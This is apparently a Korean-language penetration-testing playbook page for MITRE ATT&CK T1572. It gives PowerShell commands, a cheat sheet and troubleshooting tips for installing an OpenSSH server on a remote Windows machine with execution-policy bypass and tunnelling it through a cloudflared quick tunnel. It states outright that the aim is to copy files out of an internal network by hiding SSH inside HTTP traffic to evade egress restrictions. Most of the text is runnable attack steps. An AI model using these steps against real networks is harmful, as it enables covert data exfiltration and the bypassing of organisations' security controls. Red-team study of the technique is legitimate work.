Pentest Playbook

OpenSSH + cloudflare 를 이용한, SSH 터널링

전체 과정 요약

모든 공격은 PowerShell에서 수행하며, 취약점이 아닌 합법적인 도구를 악용하는 방법에 해당된다.

MITRE ATT&CK FrameWork 적용

ID Tatics T
TA0011 T1572 1

1. Remote PC 작업

1.1. OpenSSH 서버 다운로드 및 C 드라이브 저장

해당 방법을 꼭 사용하지 않아도 됨 (exe, msi 파일로 설치 가능)

OpenSSH 다운로드 및 경로 복사

Invoke-WebRequest https://github.com/PowerShell/Win32-OpenSSH/releases/latest/download/OpenSSH-Win64.zip -OutFile OpenSSH-Win64.zip

OpenSSH 설치

powershell.exe -ExecutionPolicy Bypass -File install-sshd.ps1

OpenSSH 실행

#1. sshd 실행 확인
Get-Service sshd

#2. sshd 실행
Start-Service sshd

1.2. Cloudflare 다운로드

깃허브에서 cloudflared 다운로드

cloudflared를 이용한 터널링 생성

위 명령어 실행 결과 다음과 같이 서버가 HTTP 서버가 실행되는데, 여기에 출력된 Quick Tunnel을 이용해서 접근할 수 있음

[이미지 추가 예정]

여기까지가 원격지(Remote)에서 실행해야할 구간

2. Local PC 작업

2.1. Cloudflare 다운로드 및 연결 실행

STEP1. powershell을 이용한 Cloudflare 다운로드

Invoke-WebRequest https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe -OutFile cloudflared.exe

STEP2. 원격지에서 생성한 터널링 주소로 연결경로 설정

cloudflare로 연결할 수 있도록 포트 바인딩 수행

.\cloudflared.exe access tcp --hostname {랜덤 주소 입력}.trycloudflare.com --url localhost:12345

STEP3. ssh 연결

ssh -P 12345 {username}@localhost

STEP4 . SCP를 이용한 내부 파일 다운로드

scp -P 12345 {username}@localhost:"C:\Users\{username}\path\file_name" {output_path}

cloudflare를 이용하는 이유는 내부망 환경에서 외부로 파일을 반출할 수 없을 경우, SSH 연결을 HTTP 통신에 숨겨서 요청을 전송할 수 있기 때문에 외부와 연결을 통해 파일을 반출할 수 있음

3. CheetSheet

  1. 깃허브에서 cloudflared 다운로드

    Invoke-WebRequest https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe -OutFile cloudflared.exe
    

  2. OpenSSH 다운로드 및 설치

    Invoke-WebRequest https://github.com/PowerShell/Win32-OpenSSH/releases/latest/download/OpenSSH-Win64.zip -OutFile OpenSSH-Win64.zip
    
    #OpenSSH 설치 위치에서 ps1으로 Install
    powershell.exe -ExecutionPolicy Bypass -File install-sshd.ps1
    
    #실행
    Start-Service sshd
    

  3. cloudflared를 이용한 터널링 생성

    • SSH 연결을 위한 22번 포트를 HTTP 통신에 담아서 전달하도록 오픈
    .\cloudflared.exe tunnel --url ssh://localhost:22
    
  4. Local에서 cloudflare로 연결

    .\cloudflared.exe access tcp --hostname {remote_address}.trycloudflare.com --url localhost:12345
    

  5. ssh 연결

    ssh -p 12345 {username}@localhost
    

    • 연결 상태에서는 cmd로 실행되기 때문에, powershell 사용이 필요할 경우 아래 명령어로 변경
    powershell
    
  6. scp 내부 파일 다운로드

    scp -P 12345 {username}@localhost:"C:\Users\{username}\Downloads\filename" .
    


Truble Shooting

[1] SSH에 연결할 때 kex_exchange가 발생하는 경우 - 원격지와 목적지에서 한 구간이 포트가 잘 못 설정되어서 발생하는 오류로 포트설정을 동일하게 구성하면 해결

kex_exchange_identification: read: Connection aborted

[2] Host key verification failed가 발생하는 경우 - 현재 .ssh에 저장된 Key 값이 연결하려는 서버의 정보와 일치하지 않아서 발생하는 오류로 출력되는 결과에서 나오는 경로의 파일 삭제 - 삭제 후, 재연결을 시도하면 .ssh 키를 다시 받아와서 연결하게 됨

Add Correct host key in C:\\Users\\{users}/.ssh/known_hosts
Offending ECDSA key in C:\\Users\\{users}/.ssh/known_hosts

ESC

💡 검색 팁

  • #T1572 - 태그로 검색
  • persistence - 키워드로 검색